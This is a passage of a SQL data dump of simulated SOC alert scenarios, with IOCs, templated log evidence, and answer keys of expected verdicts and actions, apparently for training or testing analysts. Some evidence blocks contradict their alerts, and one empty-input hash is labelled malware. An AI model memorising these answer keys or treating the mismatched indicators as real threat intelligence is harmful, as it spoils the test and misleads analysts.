'{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1370, 'Data Exfiltration Attempt Detected', 'critical', 'Data loss prevention system', 'An exfiltration attempt was detected where classified project files were being transferred to a known malicious remote server. The attack was executed by a threat actor using advanced techniques indicative of the Lazarus Group.', 'Data Breach', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', 232, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"DLP-EXFIL-20231015\",\"source_ip\":\"192.168.1.45\",\"source_username\":\"jdoe\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"file_name\":\"classified_project_files.zip\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"action\":\"Blocked\",\"alert_reason\":\"Exfiltration attempt to known malicious IP\",\"reference\":\"Lazarus Group TTPs\",\"related_malware\":\"WannaCry\"}', '2026-03-01 23:03:23', '2026-03-14 16:43:07', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with Lazarus Group activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"classified_project_files.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP\",\"verdict\":\"suspicious\",\"details\":\"Contains sensitive project files.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"File hash matches known malware used by Lazarus Group.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"HR Database\",\"verdict\":\"internal\",\"details\":\"Legitimate user credentials compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.888Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"source_username\\\":\\\"jdoe\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"classified_project_files.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"Blocked\\\",\\\"alert_reason\\\":\\\"Exfiltration attempt to known malicious IP\\\",\\\"reference\\\":\\\"Lazarus Group TTPs\\\",\\\"related_malware\\\":\\\"WannaCry\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.888Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"source_username\\\":\\\"jdoe\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"classified_project_files.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"Blocked\\\",\\\"alert_reason\\\":\\\"Exfiltration attempt to known malicious IP\\\",\\\"reference\\\":\\\"Lazarus Group TTPs\\\",\\\"related_malware\\\":\\\"WannaCry\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.888Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"source_username\\\":\\\"jdoe\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"classified_project_files.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"Blocked\\\",\\\"alert_reason\\\":\\\"Exfiltration attempt to known malicious IP\\\",\\\"reference\\\":\\\"Lazarus Group TTPs\\\",\\\"related_malware\\\":\\\"WannaCry\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.888Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"source_username\\\":\\\"jdoe\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"classified_project_files.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"Blocked\\\",\\\"alert_reason\\\":\\\"Exfiltration attempt to known malicious IP\\\",\\\"reference\\\":\\\"Lazarus Group TTPs\\\",\\\"related_malware\\\":\\\"WannaCry\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.888Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231015\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"source_username\\\":\\\"jdoe\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"classified_project_files.zip\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"action\\\":\\\"Blocked\\\",\\\"alert_reason\\\":\\\"Exfiltration attempt to known malicious IP\\\",\\\"reference\\\":\\\"Lazarus Group TTPs\\\",\\\"related_malware\\\":\\\"WannaCry\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1371, 'Communication with North Korean IPs', 'high', 'Firewall and DNS logs', 'Continuous communication is established with IPs linked to North Korea, confirming the involvement of Lazarus Group. The compromised system is maintaining connection with an external IP associated with command and control activities.', 'Command and Control', 'T1102 - Web Service', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T09:45:23Z\",\"source_ip\":\"192.168.1.10\",\"destination_ip\":\"203.131.222.102\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"action\":\"allowed\",\"malware_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"dns_query\":\"malicious-domain.example.com\",\"user\":\"jdoe\",\"event_id\":\"FW-20231015-0001\"}', '2026-03-01 23:03:23', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.131.222.102\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known Lazarus Group C2 server.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Associated with suspicious activity but not conclusively malicious.\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"malicious-domain.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OpenDNS\",\"verdict\":\"malicious\",\"details\":\"Domain associated with known APT infrastructure.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"User account associated with the compromised host.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1372, 'Brute Force Attack Detected from Malicious IP', 'high', 'Splunk', 'Multiple failed login attempts detected from a known malicious IP address targeting user accounts.', 'Brute Force', 'T1110', 1, 'Closed', 225, '{\"timestamp\":\"2026-03-02T14:32:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"corp-server01\",\"failed_attempts\":\"25\"}', '2026-03-02 03:07:37', '2026-03-10 22:16:26', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Repeated login failures from a known malicious IP indicate a brute force attempt.\"}', 'Novice', 'SIEM', 1, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.891Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:32:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-server01\\\",\\\"failed_attempts\\\":\\\"25\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.891Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:32:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-server01\\\",\\\"failed_attempts\\\":\\\"25\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.891Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:32:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-server01\\\",\\\"failed_attempts\\\":\\\"25\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.891Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:32:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-server01\\\",\\\"failed_attempts\\\":\\\"25\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.891Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:32:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-server01\\\",\\\"failed_attempts\\\":\\\"25\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1373, 'Malware Detected via Suspicious Process Execution', 'critical', 'Elastic SIEM', 'A process execution was detected involving a file with a known malicious hash.', 'Malware', 'T1059', 1, 'Closed', 225, '{\"timestamp\":\"2026-03-02T10:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.100\",\"hostname\":\"workstation-07\",\"command_line\":\"C:\\\\Windows\\\\System32\\\\cmd.exe /c malicious.exe\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"}', '2026-03-02 03:07:37', '2026-03-09 02:32:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by 57 AV engines\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\Windows\\\\System32\\\\cmd.exe /c malicious.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used to execute known malware\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash is known to be malicious, confirming the presence of malware.\"}', 'Novice', 'SIEM', 1, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.893Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"hostname\\\":\\\"workstation-07\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c malicious.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.893Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"hostname\\\":\\\"workstation-07\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c malicious.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.893Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"hostname\\\":\\\"workstation-07\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c malicious.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.893Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"hostname\\\":\\\"workstation-07\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c malicious.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.893Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:15:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"hostname\\\":\\\"workstation-07\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c malicious.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1374, 'Phishing Email Detected with Malicious URL', 'high', 'Proofpoint', 'A phishing email was received containing a malicious URL designed to harvest credentials.', 'Phishing', 'T1566', 1, 'Closed', 225, '{\"timestamp\":\"2026-03-02T09:50:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.50\",\"email_sender\":\"spoofed-ceo@fakecompany.com\",\"domain\":\"fakecompany.com\",\"url\":\"http://phishing-portal.com/login\",\"username\":\"victim@company.com\"}', '2026-03-02 03:07:37', '2026-03-07 10:38:52', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"spoofed-ceo@fakecompany.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email address known for phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://phishing-portal.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL associated with phishing attacks\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email and URL are known to be part of phishing attacks, targeting user credentials.\"}', 'Novice', 'SIEM', 1, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email Detected with Malicious URL\",\"date\":\"2026-03-02T13:55:06.895Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1375, 'Failed Login Attempts from Internal IP', 'medium', 'Azure Sentinel', 'Numerous failed login attempts detected from an internal IP, indicating potential unauthorized access attempts.', 'Brute Force', 'T1110', 0, 'Closed', 225, '{\"timestamp\":\"2026-03-02T13:27:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"10.0.0.5\",\"username\":\"testuser\",\"hostname\":\"internal-server\",\"failed_attempts\":\"15\"}', '2026-03-02 03:07:37', '2026-03-07 11:41:37', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address detected\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"testuser\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login failures are from an internal IP, likely due to a misconfiguration or user error.\"}', 'Novice', 'SIEM', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.897Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:27:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":\\\"15\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.897Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:27:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":\\\"15\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.897Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:27:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":\\\"15\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.897Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:27:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":\\\"15\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.897Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:27:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":\\\"15\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1376, 'Suspicious Domain Access Detected', 'medium', 'Wazuh', 'Access to a suspicious domain detected, possibly indicating a phishing attempt.', 'Phishing', 'T1566', 0, 'Closed', 225, '{\"timestamp\":\"2026-03-02T11:45:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"203.0.113.150\",\"domain\":\"suspicious-website.com\",\"username\":\"employee1\"}', '2026-03-02 03:07:37', '2026-03-07 11:43:03', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"suspicious-website.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Domain flagged for potential phishing\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.150\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP listed in suspicious activity reports\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"While the domain appears suspicious, no malicious activity has been confirmed.\"}', 'Novice', 'SIEM', 1, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.898Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"203.0.113.150\\\",\\\"domain\\\":\\\"suspicious-website.com\\\",\\\"username\\\":\\\"employee1\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.898Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"203.0.113.150\\\",\\\"domain\\\":\\\"suspicious-website.com\\\",\\\"username\\\":\\\"employee1\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.898Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"203.0.113.150\\\",\\\"domain\\\":\\\"suspicious-website.com\\\",\\\"username\\\":\\\"employee1\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.898Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 